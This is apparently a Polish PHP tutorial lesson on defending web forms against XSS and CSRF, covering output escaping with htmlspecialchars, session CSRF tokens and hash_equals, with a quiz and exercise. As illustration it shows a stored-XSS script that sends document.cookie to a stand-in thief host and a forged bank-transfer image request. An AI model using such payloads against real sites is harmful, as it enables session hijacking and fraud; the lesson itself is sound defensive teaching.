XSS i CSRF — ochrona formularzy i wyjścia

🎯 Po tej lekcji będziesz rozumieć ataki XSS i CSRF, eskejpować każde wyjście przez htmlspecialchars i implementować token CSRF z random_bytes i hash_equals.

Poznałeś już hashowanie haseł. Teraz pora na dwa inne ataki, które trafiają nie w bazę danych, lecz w przeglądarkę użytkownika: XSS i CSRF. Każda aplikacja wyświetlająca dane od użytkownika lub używająca formularzy musi je blokować.

XSS — Cross-Site Scripting

Co to jest XSS?

Wyobraź sobie księgę gości. Użytkownik wpisuje:

<script>document.location='https://zlodziej.pl?c='+document.cookie</script>

Jeśli wyświetlisz to bez ochrony — przeglądarka wykona ten skrypt. Atakujący przejmuje ciasteczka sesji wszystkich odwiedzających. To XSS — Stored XSS (przechowany w bazie) lub Reflected XSS (w parametrze URL).

Ochrona: htmlspecialchars na każdym wyjściu

Zasada jest prosta i absolutna: każdy tekst od użytkownika (z formularza, bazy, URL, API) musi przejść przez htmlspecialchars zanim trafi do HTML:

<?php
declare(strict_types=1);

$trescOdUzytkownika = '<script>alert("xss")</script>';

// ❌ Niebezpieczne:
// echo $trescOdUzytkownika;

// ✅ Bezpieczne:
echo htmlspecialchars($trescOdUzytkownika, ENT_QUOTES, 'UTF-8');
// wynik wyświetlony w HTML: &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;
// przeglądarka wyświetla tekst dosłownie, nie wykonuje skryptu

Co zamienia htmlspecialchars:

| Znak | Encja | |---|---| | < | &lt; | | > | &gt; | | & | &amp; | | " | &quot; | | ' | &#039; |

Wzorzec w szablonie HTML

<?php
declare(strict_types=1);

// Dane z bazy lub sesji:
$imie  = '<script>evil()</script>';
$email = '[email protected]';
?>
<!DOCTYPE html>
<html lang="pl">
<body>
    <!-- ✅ Zawsze htmlspecialchars przy wyświetlaniu -->
    <p>Cześć, <?= htmlspecialchars($imie, ENT_QUOTES, 'UTF-8') ?>!</p>
    <p>E-mail: <?= htmlspecialchars($email, ENT_QUOTES, 'UTF-8') ?></p>

    <!-- ✅ Wartości pól formularza też wymagają eskejpowania -->
    <input type="text" name="imie"
           value="<?= htmlspecialchars($imie, ENT_QUOTES, 'UTF-8') ?>">
</body>
</html>
⚠️ Nie zapomnij o atrybutach! ENT_QUOTES eskejpuje zarówno " jak i '. To konieczne, bo wartości atrybutów mogą być zawarte w apostrofach: value='...'. Bez ENT_QUOTES atakujący zamknąłby atrybut i wstrzyknął dowolny HTML.

CSRF — Cross-Site Request Forgery

Co to jest CSRF?

Jesteś zalogowany do swojego banku. Odwiedzasz złośliwą stronę, która w tle wysyła żądanie:

<!-- Na złośliwej stronie: -->
<img src="https://twojbank.pl/przelew?konto=atakujacy&kwota=1000">

Twoja przeglądarka wysyła to żądanie z twoimi ciasteczkami sesji — bank widzi zalogowanego ciebie i wykonuje przelew. To CSRF — atakujący „podrabia" twoje żądanie.

Ochrona: token CSRF

Token CSRF to losowa wartość powiązana z twoją sesją, ukryta w formularzu. Złośliwa strona nie zna tokenu — jej żądanie zostanie odrzucone.

Generowanie tokenu:

<?php
declare(strict_types=1);

session_start();

// Generuj token raz na sesję (lub na żądanie — zależy od polityki)
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
  • random_bytes(32) — 32 kryptograficznie bezpieczne bajty z CSPRNG systemu operacyjnego.
  • bin2hex(...) — zamienia bajty na czytelny ciąg hex (64 znaki).

Osadzenie tokenu w formularzu:

<form method="post" action="/przelew">
    <input type="hidden" name="csrf_token"
           value="<?= htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8') ?>">
    <input type="number" name="kwota" value="">
    <button type="submit">Wyślij przelew</button>
</form>

Weryfikacja po stronie serwera:

<?php
declare(strict_types=1);

session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tokenZFormularza = $_POST['csrf_token'] ?? '';
    $tokenZSesji      = $_SESSION['csrf_token'] ?? '';

    // ✅ hash_equals — timing-safe comparison
    if (!hash_equals($tokenZSesji, $tokenZFormularza)) {
        http_response_code(403);
        exit('Nieprawidłowy token CSRF.');
    }

    // Token OK — przetwarzaj żądanie
}

Dlaczego hash_equals, nie ===?

Operator === może przerywać porównanie przy pierwszej różnicy (short-circuit). Atakujący mierzący czas odpowiedzi serwera mógłby wnioskować ile znaków zgadza się od lewej — i stopniowo odgadywać token (atak czasowy / timing attack).

hash_equals(string $known, string $user): bool zawsze porównuje pełny ciąg niezależnie od miejsca różnicy — czas odpowiedzi jest stały.

<?php
declare(strict_types=1);

$tokenZSesji      = 'abc123...';  // znany, bezpieczny token
$tokenZFormularza = 'abc999...';  // przesłany przez użytkownika

// ✅ Bezpieczne — timing-safe:
$ok = hash_equals($tokenZSesji, $tokenZFormularza);

// ❌ Potencjalnie podatne na timing attack:
// $ok = ($tokenZSesji === $tokenZFormularza);
💡 Kolejność argumentów hash_equals: Pierwszy argument to ciąg znany (z sesji), drugi to ciąg od użytkownika. Ta kolejność jest istotna dla bezpieczeństwa — nie zmieniaj jej.

Kompletny wzorzec — formularz z tokenem CSRF

Oto strona łącząca ochronę XSS i CSRF:

<?php
declare(strict_types=1);

session_start();

// Generuj token CSRF przy pierwszym dostępie
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

$wiadomosc = '';
$blad      = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 1. Sprawdź token CSRF
    $tokenZFormularza = $_POST['csrf_token'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'], $tokenZFormularza)) {
        $blad = 'Nieprawidłowe żądanie (błąd CSRF).';
    } else {
        // 2. Przetwarzaj dane
        $tresc = trim($_POST['tresc'] ?? '');
        if ($tresc === '') {
            $blad = 'Wiadomość jest wymagana.';
        } else {
            // W prawdziwej aplikacji: zapis do bazy
            $wiadomosc = 'Wysłano: ' . $tresc;
            // Odśwież token po udanym żądaniu
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
    }
}
?>
<!DOCTYPE html>
<html lang="pl">
<head><meta charset="UTF-8"><title>Formularz z CSRF</title></head>
<body>

<?php if ($blad !== ''): ?>
    <p style="color:red"><?= htmlspecialchars($blad, ENT_QUOTES, 'UTF-8') ?></p>
<?php endif; ?>

<?php if ($wiadomosc !== ''): ?>
    <p style="color:green"><?= htmlspecialchars($wiadomosc, ENT_QUOTES, 'UTF-8') ?></p>
<?php endif; ?>

<form method="post" action="">
    <input type="hidden" name="csrf_token"
           value="<?= htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8') ?>">
    <label>Wiadomość:<br>
        <textarea name="tresc" rows="4" cols="50"></textarea>
    </label><br>
    <button type="submit">Wyślij</button>
</form>

</body>
</html>

Podsumowanie

| Atak | Mechanizm | Ochrona | |---|---|---| | XSS | Złośliwy skrypt wstrzyknięty w dane | htmlspecialchars(..., ENT_QUOTES, 'UTF-8') na każdym wyjściu | | CSRF | Złośliwa strona wysyła żądanie za użytkownika | Token CSRF w sesji + pole ukryte + hash_equals |

Zapamiętaj żelazną zasadę: wszystko co wyświetlasz, eskejpujesz. Każdy formularz mutujący dane ma token CSRF.

W kolejnej lekcji zajmiemy się bezpiecznymi sesjami — jak chronić sesję przed przejęciem i jak wylogowywać użytkownika.

Funkcje w tej lekcji

Sprawdź się

Co robi htmlspecialchars('<script>alert(1)</script>', ENT_QUOTES, 'UTF-8')?

Dlaczego token CSRF porównujemy przez hash_equals() zamiast operatora ===?

Jaką funkcją generujemy bezpieczny losowy token CSRF?

Ćwiczenie

Napisz funkcję generujTokenCsrf(): string, która tworzy token 32-bajtowy zakodowany w hex i zapisuje go w $_SESSION['csrf_token']. Następnie napisz funkcję sprawdzTokenCsrf(string $token): bool, która sprawdza czy podany token zgadza się z tokenem w sesji (użyj hash_equals). Pamiętaj o wywołaniu session_start() przed testowaniem.

Pokaż rozwiązanie
<?php
declare(strict_types=1);

session_start();

function generujTokenCsrf(): string
{
    $token = bin2hex(random_bytes(32));
    $_SESSION['csrf_token'] = $token;
    return $token;
}

function sprawdzTokenCsrf(string $tokenZFormularza): bool
{
    $tokenZSesji = $_SESSION['csrf_token'] ?? '';
    return hash_equals($tokenZSesji, $tokenZFormularza);
}

// Test:
$token = generujTokenCsrf();
var_dump(sprawdzTokenCsrf($token));        // wynik: bool(true)
var_dump(sprawdzTokenCsrf('podrobiony')); // wynik: bool(false)